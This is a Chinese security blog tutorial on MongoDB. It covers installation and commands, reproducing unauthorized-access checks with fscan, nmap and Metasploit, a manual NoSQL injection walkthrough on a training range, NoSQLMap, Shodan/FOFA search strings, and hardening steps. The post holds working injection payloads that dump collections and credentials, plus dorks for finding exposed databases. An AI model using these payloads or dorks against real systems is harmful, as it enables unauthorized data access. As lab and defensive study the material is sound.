数据库|MongoDB漏洞利用姿势

  • Comments Off on 数据库|MongoDB漏洞利用姿势
  • 16 views
  • A+

前言

本篇文章记录了mongo数据库的一次漏洞复现,从安装到漏洞复习,然后是实操mongo数据库的SQL手工注入,未授权和SQL注入危害还是蛮大的,由于mongo数据库安全性较高,使用数量极高,所以学习mongo数据库的安全知识还是很有必要的。文章有不对的地方欢迎各位师傅指出~

简介

MongoDB 是由C++语言编写的,是一个基于分布式文件存储的开源数据库系统。
MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。

sqlmap不支持这个json格式的

数据库注入,但还有其他工具可以,后面介绍嗷

MongoDB的一些主要特性:

基于文档
高性能
高可用性
简单的可扩展性
没有复杂的联接

数据格式

{
name: "ch4nge",
age: "10",
status: "A",
groups: ["news", "sports"]
}

默认端口27017、27018、27019、28017

image-20211026141523262

一、安装

1 下载

4.4.10版本

https://www.mongodb.com/try/download/community

image-20211026104405412

zip和msi选择区别

1. msi安装的时候,一路下一步,方便快捷,只建议MongoDB4.0及以上版本采用msi方式安装,因为MongoDB4.x版本对msi安装方式进行了优化,随着提示就可以完成配置,但3.x和更低的版本则仍旧需要在安装完毕后,手动做配置,所以低版本不推荐msi方式。
2.zip方式,解压即安装,可以将其安装到任意目录,后续都可以手动进行配置,比较灵活,推荐采用这种方式进行安装。

2 windows安装

双击开始安装

image-20211026104748272

选择自定义Custom安装选项

image-20211026104846951

我这里设置安装路径为C盘根目录

image-20211026105037076

默认下一步即可

image-20211026105142383

勾选的话会安装一个mongodb管理工具,安装速度慢好多,也可以不勾选,后面需要的话再去下载安装

https://www.mongodb.com/try/download/compass

image-20211026105238718

让子弹飞一会

image-20211026110235288

安装完成

图形化管理工具

MongoDBCompass

image-20211026134828838

连接本地数据库

image-20211026134947115

查看数据库

image-20211026135219686

3 windows配置环境

(1)添加环境变量

C:MongoDBbin

image-20211026110901796

测试是否配置成功,在cmd下直接输入mongo -version即可判断

image-20211026111352952

(2)修改配置文件

配置允许远程连接mongodb,bindip设置为0.0.0.0,重启mongo服务生效

windows:mongod.cfg

linux:mongod.conf

image-20211026145735734

注意注意:千万不要多写空格少写空格啥的,不然报错。比如我把bindIp冒号后面的空格去掉

image-20211026145945503

(3)将mongodb服务添加到windows服务

如果你的服务列表没有这个的话按照此步骤添加,我是用msi文件安装的,服务里面已经有了

这一步的目的是将来在终端中通过net来管理MongoDB。
以管理员的身份打开终端,输入

mongod --config "C:MongoDBbinmongod.cfg" --install --serviceName "mongodb"

查看服务属性

image-20211026150100794

服务启动关闭的命令

net stop mongodb
net start mongodb

远程连接测试

超级弱口令扫它(记得关掉你的windows防火墙嗷)

image-20211026150802218

image-20211026150912103

4 kali2021.2安装mongo

(1)导入mongoDB密钥

wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -

image-20211026151147437

如果收到指示gnupg未安装的错误,则安装gnupg

sudo apt-get install gnupg

安装完成后重新导入密钥

(2)创建文件

echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list

image-20211026151712255

(3)更新软件列表

下载速度慢的话可以换国内apt源,怎么换不说了,百度一堆

sudo apt-get update

image-20211026153015237

(4)安装mongoDB

sudo apt-get install -y mongodb-org

(5)mongoDB配置

```shell

启动MongoDB服务systemctl start mongod# 查看服务状态systemctl status mongod# 停止MongoDB服务systemctl stop mongod# 重启MongoDB服务systemctl restart mongod

```

image-20211026154822810

设置允许远程连接mongoDB

shell
sudo vi /etc/mongod.conf# 修改bindIP为0.0.0.0bindIp: 0.0.0.0

image-20211026154857350

设置之后需要重启mongodb服务

systemctl restart mongod

image-20211026155036902

5 Kali卸载mongo

我还要用,先不卸载了

```shell

删除软件包sudo apt-get purge mongodb-org*# 可以通过下面命令来查看这些软件包文件,也可以检测是否删除完成locate monodb-org# 删除数据目录sudo rm -r /var/log/mongodbsudo rm -r /var/lib/mongodb

```

二、MongoDB常用命令操作

1 进入MongoDB命令行交互模式

widows

配置环境变量之后在命令行输入mongo

linux(kali)安装后自动配了环境变量,直接输mongo就可进入

由于自带交互式Javascript shell,可以直接在Mongo shell里进行一些简单的计算操作。

image-20211026155234994

MongoDB可以有多个数据库每个数据库都含有一个或多个集合“collections”每个集合都含有一个或多个文档“documents”

2 新增用户用来远程登录

db.createUser({user:"ch4nge",pwd:"123456",roles:[{"role":"userAdmin","db":"admin"},{"role":"root","db":"admin"},{"role":"userAdminAnyDatabase","db":"admin"}]})

对用户ch4nge授权

db.auth("ch4nge","123456")

image-20211026163521644

修改用户权限

db.updateUser("root", {roles:[{role:"readWriteAnyDatabase", db:"admin"}] })

修改用户密码

db.changeUserPassword(“username","newPasswd")

删除用户

db.changeUserPassword(“username","newPasswd")

3 远程登录

```shell

未授权mongo 10.11.2.222:27017/admin# 有授权mongo -u ch4nge -p 123456 localhost:27017/adminmongo --host 192.168.112.177 --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"或者mongo -u mgtest -p 123.com localhost:27017/admin

```

image-20211026171857392

4 库信息增删改查

```json
// 创建数据库
use ch4nge

// 查看当前数据库
db
//或者
db.getName();

// 检查数据库列表
show dbs

// 将数据插入集合
//这个是把一个数据插入到data集合中。
db.data.insert({"user":"test1"})

// 查询数据
//查询data集合中的全部文档数据。
db.data.find()

// 查询数据时写入条件
//查询用户名user为test1的数据
db.data.find({"user":"test1"})

// 删除数据
//remove()方法
db.data.remove({"user":"test1"})

// 删除集合
//drop()方法,这会删除所有的表数据,存在一个data集合,再查一下data集合,已经没了
db.data.drop()

// 删除目前使用的数据库
db.dropDatabase()

//查看当前数据库状态
db.stats();

//当前db版本
db.version();

//查看当前db的链接机器地址
db.getMongo();

//显示当前所有用户
db.system.users.find();
```

image-20211026161432888

image-20211026161501119

三、MongoDB连接管理工具

1 MongoDB Compass

下载地址

https://www.mongodb.com/download-center/compass

下载msi文件默认安装即可

2 navicat

这个要付费,可以试用14天,最好网上自己找pj版本吧

https://www.navicat.com.cn/download/navicat-premium

wKg0C2F4NqSAIRuAAABnb2uqCc901.png

3 Robo 3T

下载地址

https://robomongo.org/download

安装,双击默认就会好

image-20211026215811929

连接数据库

image-20211026215853309

image-20211026215938392

image-20211026215957024

image-20211026220125610

四、漏洞复现-未授权访问

1 漏洞原理

MongoDB服务安装后,默认未开启权限验证。如果服务监听在0.0.0.0(bindIp: 0.0.0.0),则可远程未授权访问数据库。

3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。

3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;

3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

2 漏洞探测-fscan扫描

自带小字典可探测数据库弱口令、未授权、web服务等,功能强大,常用于内网,这里来用也好使

可指定ip范围,一次指定多个ip地址,用于批量探测

https://github.com/shadow1ng/fscan

命令

fscan.exe -h 10.0.1.6 -p 21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017

image-20211026222625269

3 漏洞探测-超级弱口令

可批量扫描ip

image-20211026224156548

4 漏洞探测-nmap

nmap -p 27017 --script mongodb-info <ip>

5 漏洞探测-msf扫描

先搜索一下模块

search mongodb

image-20211026223104023

使用

auxiliary/scanner/mongodb/mongodb_login

use auxiliary/scanner/mongodb/mongodb_login
set RHOSTS 10.0.1.6
run

image-20211026223255281

可以指定ip的文件,批量检测

五、漏洞复现-SQL注入

1 漏洞原理

2 靶场环境

墨者学院SQL手工注入漏洞测试(MongoDB数据库)

https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe

说明

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

附上源代码截图:

image-20211027000433779

3 访问靶场

http://219.153.49.228:48076/

image-20211027000233874

点击通告,进入新页面

image-20211027003928331

漏洞点在于id

image-20211027000910360

4 注入参数检测

单引号显示空

image-20211027001103767

源代码中

php
$query="var data = db.notice.findOne({'id' : '$id'}); return data;";

查询的sql语句是

json
db.notice.findOne({'id' : '$id'});

我们尝试闭合查询

json
?id=1'}); return({title:'1
//代入结果如下,返回1,data内容就是1
db.notice.findOne({'id' : '1'}); return({title:'1'});
//query最后返回data,所以网页显示内容应该是1

image-20211027001658717

5 查数据库

json
?id=1'}); return ({title:tojson(db),content:'1
// 加content:'1是为了闭合后面的'});
db.notice.findOne({'id' : '1'}); return ({title:tojson(db),content:'1'});

image-20211027003057348

6 查表

php
?id=1'}); return({title:db.getCollectionNames(),content:'1

image-20211027003238438

因为db.getCollectionNames()返回结果是arry数组,需要将数组转换为字符串,得到表名

php
?id=1'}); return({title:tojson(db.getCollectionNames()),content:'1

image-20211027003310869

7 查数据

php
?id=1'}); return({title:tojson(db.Authority_confidential.find()[0]),content:'1

image-20211027003351605

8 获取KEY

上面查出来的密码md5解密结果是

dsansda

登陆后台获得key

php
http://219.153.49.228:48076/
mozhe/dsansda

现在登不上了

image-20211027004021350

题目应该没问题,查其他的表数据发现还有一个密码,原来还给了一个假表!!!

?id=1'}); return({title:tojson(db.Authority_confidential.find()[0]),content:'1

image-20211027004414676

解出来密码是918731,登录成功

image-20211027004442935

提交以解决实验

image-20211027004557598

六、NoSQLMap工具介绍

mongodb有一个跑注入的工具NOSQLMAP

(1)安装

shell
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

(2)启动

python nosqlmap.py

image-20211027005158017

1 设置选项
2 NoSQL数据库访问攻击
3 NoSQL Web应用程序攻击
4 扫描匿名MongoDB访问
5 Change平台(目前:MongoDB) x-Exit

七、搜索引擎查找

shodan&&fofa

product:"MongoDB"

zoomeye

service:"mongodb"

八、未授权修复

服务仅对本地开放

1 设置配置文件

绑定在本地端口

```shell
vi /etc/mongod.conf
bindIp = 127.0.0.1

重启服务生效

systemctl restart mongod
```

image-20211026225048151

限制访问源ip

仅对内网服务器开放mongodb服务。Linux防火墙设置如下,windos同理

```shell

允许外部应用访问MongoDB默认服务端口27017

iptables -A INPUT -s -p tcp --destination-port 27017 -m state --state NEW,ESTABLISHED -j ACCEPT

允许MongoDB外出流量到达外部应用

iptables -A OUTPUT -d -p tcp --source-port 27017 -m state --state ESTABLISHED -j ACCEPT
```

启动登录认证功能。

此方式在windows进行演示操作,Linux一样可以

MonaoDB 3.0及以上版本启动时添加--auth参数开启认证访问,此时若数据库中无用户,本地登录则无权限进行任何操作,因此需要先以无认证的方式启动服务并创建系统用户管理员账号。

1 以无访问认证的方式启动MongoDB

路径一定要存在

shell
mongod --dbpath C:WindowsTemptest

image-20211026231942483

2 未开启认证的环境下,登录到数据库

mongo 127.0.0.1:27017/admin

image-20211026230819357

3 创建系统用户管理员

创建一个用户名字为myUserAdmin,密码为Passw0rd的系统用户管理员账号。

注意:3.0之前版本使用db.addUser方法创建用户。

```json
//切换到admin数据库
use admin

//创建用户
db.createUser({user: "myUserAdmin",pwd: "Passw0rd",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})
//创建成功后提示
db.createUser({user: "myUserAdmin",pwd: "Passw0rd",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})
Successfully added user: {
"user" : "myUserAdmin",
"roles" : [
{
"role" : "userAdminAnyDatabase",
"db" : "admin"
}
]
}
```

image-20211026230918235

4 开启认证模式

在配置文件中添加以下内容

注意:第一行顶格写,第二行前面两个空格

security:
authorization: enabled

image-20211026232050709

5 重启服务生效

shell
net stop mongodb
net start mongodb

image-20211026231240232

6 连接时认证

开启访问认证启动时添加--auth参数,使用系统用户管理员账号登录

shell
mongo 127.0.0.1:27017/admin -u "myUserAdmin" -p "Passw0rd"

image-20211026232129067

7 先连接后认证

在连接MongoDB时不指定认证信息,连接成功后通过db.auth()方法进行认证:l

shell
mongo 127.0.0.1:27017/admin
db.auth("myUserAdmin","Passw0rd")

image-20211026232635270

总结

新版的mongoDB数据库还没有爆出RCE或者getshell的漏洞,相对是安全很多的,再加上sql注入自动化工具很少,后端设置严格的过滤条件还是很难手注的。复现整个流程下来并不难,撸起袖子加油干!

参考

MongoDB数据库评估https://doge-dog.github.io/2017/12/18/mongodb-attack-detail/

未授权访问https://www.yuque.com/cheng-4ueio/tow7i5/cgwuq7

未授权漏洞修复https://cloud.tencent.com/developer/article/1727227

脚本批量探测未授权https://www.zhihuifly.com/t/topic/3031

相关推荐: 数据库|Redis漏洞利用姿势

前言 本篇文章记录了redis的相当全面的一次漏洞复现大复盘,从安装到拿shell,最后还有ssrf+本地主从复制的组合拳,来学这波绝对不亏。 一、简介 最大的特点就是 :快 1 端口 Redis默认端口:6379 sentinel.conf配置器端口为263…